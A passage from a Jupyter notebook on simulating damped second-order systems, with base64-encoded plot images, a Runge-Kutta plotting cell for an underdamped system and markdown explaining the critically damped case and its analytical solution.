dD1uA/6tyk1llv8BsJMqJyZr2dpBuTAM++GC7Fvjlkx9FXgtCIIPk7Yj\nD1iAMsLaIsLaIqKce2cmIiEihwKXAr1wWVFfVtUDRKQ/cLWqHuTLHUA0BPYaVb2wkfrSFomzgb6q\nnFFm+X/hZlpfl6xla+YybI0Thw44YXg1CIKFSV/bMIz6IrciETcZiMRo4EJVdi+jrOAC8KNVmZaE\nPWEYtselxNgWFwd6E3gFmG25kgzDaIzcTqZbD3gO2FqEDVRpznWzMa4n9HacBvgV3DYGtselx5gF\nTPjNb36z0WefffbfOK9Vr5hbIcLaIsLaojJMJKrAry3xIrAH8FAzxUcBTzVcra1a/AzobXHisBI3\n2urhIAg+AhgzZkyfOK5jGIYB5m6q4ZqEQDtVft5Mub8Dr6hyWbXX8st7boEThv64Wd8vA++aO8kw\njGqxmESi1+SLwP81FZfwy5XOA/ZUrdzdFIbhRjhhGIlb3vNlYLLlTDIMIw5MJBK9Jh2BBTSxXrUI\nuwBjVdmq3Hr9LOhtcGk8OuAmuk0MgmBpeXaZv7WAtUWEtUWEtUWEBa4TxMclHsHlkxrbSLGvAfc0\nV5cPQvcHdsKNUnobeBiXUK/+VdwwjLrFehI1XZcjgeNUObCR468CJ6vyTKnjfujq1jhxaI9LADix\npUx2MwwjW8zdlPh12QAXc9hElUUNjm0D3AcMUWWtLKo+1rATLp/TDJw4vG29BsMw0sREIpVrcyvw\nuCpXNHj/cmCxKhcAhGHYDheA3gnojBOGl4MgWB6vPeZvLWBtEWFtEWFtEWExiXS4FLhehKtUWQkg\nQl/gaGBEGIY9cGtjbAvMBh7D9RrKyiBrGIaRJdaTqPnaCPAg8Kgqv3fv6Q2DB89ZeeKJ1/0Pty7G\ny8CEckcoGYZhpIG5m1K7PpsAT3fo8PHlQ4fO2LZnz8Wj9tjj6d927PjJE7isqzavwTCM3GHuppQY\nMyZcPm3aJmMWL+7xvWXLus3v3n3xgR07fjIxi0C0+VsjrC0irC0irC0qw0SiSvzchs1xS6r2GTZs\n+oswfXQUiP5ahtYZhmHEg7mbKsQv/7kdsBvwGTAeeD0IglVNnmgYhpEzLCYRI2EYbgjsDOyIWx9i\nPLZeg2EYdYyJRAyEYdgX2B2XhXUS8GwQBIuaPis7zN8aYW0RYW0RYW0RYYHrKvHxhmE4ceiNW1/7\nz0EQfJypYYZhGCljPYkiwjBsjcultAewCudSes3iDYZhrI9YT6JMfMqMHXA9h0XAA1gGVsMwjJbd\nkwjDsBMuZcbOuDWinwqC4J247UsT87dGWFtEWFtEWFtEWE+iEfw60bvj8im9CVwXBMH72VplGIaR\nP1pUTyIMw964eMNwXD6lZ4Mg+CBp+wzDMPKIDYH1+PUb9gIGA8/hku3ZSCXDMFo0LV4kwjAcgBOH\n/sDTwIvre7I987dGWFtEWFtEWFtEtNiYRBiGA4G9gb7AU8BtQRB8nq1VhmEY9cd61ZMIw3AwThx6\nAU/i1os2cTAMwyhBi+pJhGF4PNANJw6v2AQ4wzCM2slEJETkcGAMLh/Szqr6UiPlZgIf4GY/r1TV\nXZqo9hVgUksXB/O3RlhbRFhbRFhbVEZWPYlJwKHAlc2UU2C0qi5ursIgCCbGYdh6wHbAuKyNyAnW\nFhHWFhHWFhWQiUio6mQAkbImSWe2LGmd0i1rA3KEtUWEtUWEtUUFtMragGZQ4FEReUFEvpu1MYZh\nGC2NxHoSIvII0K/EoXNV9d4yq9lDVd8Vkd7AIyIyWVWfjM/K9ZIhWRuQI4ZkbUCOGJK1ATliSNYG\n1BOZDoEVkceAMxsLXDcoGwAfquofSxyr/3G8hmEYGVAPQ2BLGiginYDWqrpcRDoD+wFhqbJprW9t\nGIbR0sgkJiEih4rIHGA34D4RecC/319E7vPF+gFPishEXL6l/6jqw1nYaxiG0VJZL2ZcG4ZhGMmQ\n99FNTSIi+4vIZBGZKiJnZ21PlojItSIyX0QmZW1LlojIIBF5TEReF5HXRORHWduUFSLSQUSeE5GJ\nIvKGiFyYtU1ZIyKtReRlESl38Mx6iYjMFJFXfVs832TZeu1JiEhr4C3g/7d3By9WlXEYx79PmdDg\nkEHglDNohO6CRHGhFCUKFqLuKoigZRkIkRv/Al3VH6CbIRgFoyhcuHDcqBuLGRCmTaBgUikR4TAb\nw6fFPcIsPDQ6HH9z5j6fzT33rh4ul/vwvvf9nbsXuA1cAz60/UtpsCKS3gTmgUnbr1fnqSJpDBiz\nPStpHfAzcHiIPxcjthckrWFws8svbV+uzlVF0hfAdmDU9sHqPFUk3QC2L2VQuc8riZ3Ar7Zv2r4P\nnAEOFWcq0xwN/rs6RzXbf9ieba7nGfzz4Cu1qerYXmgu1wLPAv/7pbBaSRoH3gNOkSFdWOJ70OeS\n2AjcWvT8t+a1CAAkbQa2MTj4MJQkPdMc/vgTuGR7rjpToa+AY8CD6iArwJIHlftcEv3cJ4unotlq\nOgccbVYUQ8n2A9tvAOPAW5LeLo5UQtIB4I7tGbKKgMGg8jbgXeBIs139SH0uidvAxKLnEwxWEzHk\nJD0HfAt8Y/v76jwrge1/gPPAjuosRXYBB5u9+Clgj6TJ4kxlbP/ePN4FvmOwff9IfS6Jn4AtkjZL\nWgu8D/xQnCmKaXDXyNPAnO2vq/NUkvSSpPXN9fPAPmCmNlUN28dtT9h+FfgAmLb9cXWuCpJGJI02\n1w8HlVtPRfa2JGz/C3wOXADmgLPDeoIFQNIUcBXYKumWpE+qMxXZDXwEvNMc75uRtL86VJGXgelF\nA6k/2r5YnGmlGObt6g08xqByb4/ARkRE93q7koiIiO6lJCIiolVKIiIiWqUkIiKiVUoiIiJapSQi\nIqJVSiKiA5JekPRpdY6I5UpJRHTjReCz6hARy5WSiOjGCeC1ZuL7ZHWYiCeVieuIDkjaxOB2B0P7\nB1CxOmQlEdGN3I46VoWUREREtEpJRHTjHjBaHSJiuVISER2w/RdwRdL1/HAdfZYfriMiolVWEhER\n0SolERERrVISERHRKiURERGtUhIREdEqJREREa1SEhER0SolERERrf4D3ggZVC+ml7EAAAAASUVO\nRK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10f9db550>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = rungekutta(natural(wn, qsi), y0, tf=5)\n", "plt.plot(x, Y[:,0])\n", "plt.plot(x, [[-envelope(x), envelope(x)] for x in x], color=\"gray\", alpha=0.5)\n", "plt.title('Underdamped System')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The System is bounded between $[-env(t), env(t)]$ and so $y(t) \\to 0$ when $t \\to \\infty$." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Critically damped System\n", "\n", "A System is called critically damped when $\\xi=1$\n", "\n", "The characteristic equation has 2 real identical roots. The transfer function in the Laplace method has 1 real pole with multiplicity 2. So $G(s)$ is a sum of two partial fractions, one having in the denominator $s-s_{1,2}$ and the other $(s-s_{1,2})^2$. The first one will give rise to a real exponential function and the other to the same real exponential function multiplied by $t$. So, the natural System response will not be harmonic but $y_h(t) \\to 0$ as $t \\to \\infty$.\n", "\n", "The analytical solution is:\n", "\n", "$$y(t)=(y(0)+(y'(0)+w_n y(0))t)e^{-w_n t}$$\n", "\n", "which confirms what was said in the previous paragraph.\n", "\n", "The numerical integration was implemented as:" ] }, { "cell_type": "code", "execution_count": 27, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "data": { "image/png": "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